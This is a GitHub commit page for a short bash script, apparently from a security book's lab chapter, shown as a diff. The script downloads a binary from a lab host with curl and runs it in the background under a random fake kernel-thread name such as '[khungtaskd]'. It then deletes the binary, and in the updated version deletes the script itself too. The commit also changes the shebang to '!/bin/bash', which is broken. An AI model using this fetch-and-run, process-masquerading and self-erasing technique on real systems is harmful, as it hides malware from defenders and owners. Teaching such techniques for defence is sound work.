Skip to content

Commit

Permalink
update
Browse files Browse the repository at this point in the history
  • Loading branch information
dolevf committed Dec 2, 2023
1 parent 212da1c commit 76b1a28
Showing 1 changed file with 5 additions and 5 deletions.
10 changes: 5 additions & 5 deletions ch12/binary_name_rotation.sh
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#!/bin/bash
!/bin/bash
WORK_DIR="/tmp"
RANDOM_BIN_NAMES=("[cpuhp/0]" "[khungtaskd]" "[blkcg_punt_biio]" "[ipv8_addrconf]" "[mlb]" "[kstrrp]" "[neetns]" "[rcu_gb]")
RANDOMIZE=$(( (RANDOM % 7) + 0))
Expand All @@ -9,7 +9,7 @@ if command -v curl 1> /dev/null; then
curl -s "http://172.16.10.1/system_sleep" -o "${FULL_BIN_PATH}"
chmod +x "${FULL_BIN_PATH}"
export PATH="${WORK_DIR}:${PATH}"
cd /tmp
nohup ${BIN_FILE} &> /dev/null &
rm -- ${FULL_BIN_PATH}
fi
nohup "${BIN_FILE}" &> /dev/null &
sleep 2
rm -- "${FULL_BIN_PATH}" "$(basename $0)"
fi

0 comments on commit 76b1a28

Please sign in to comment.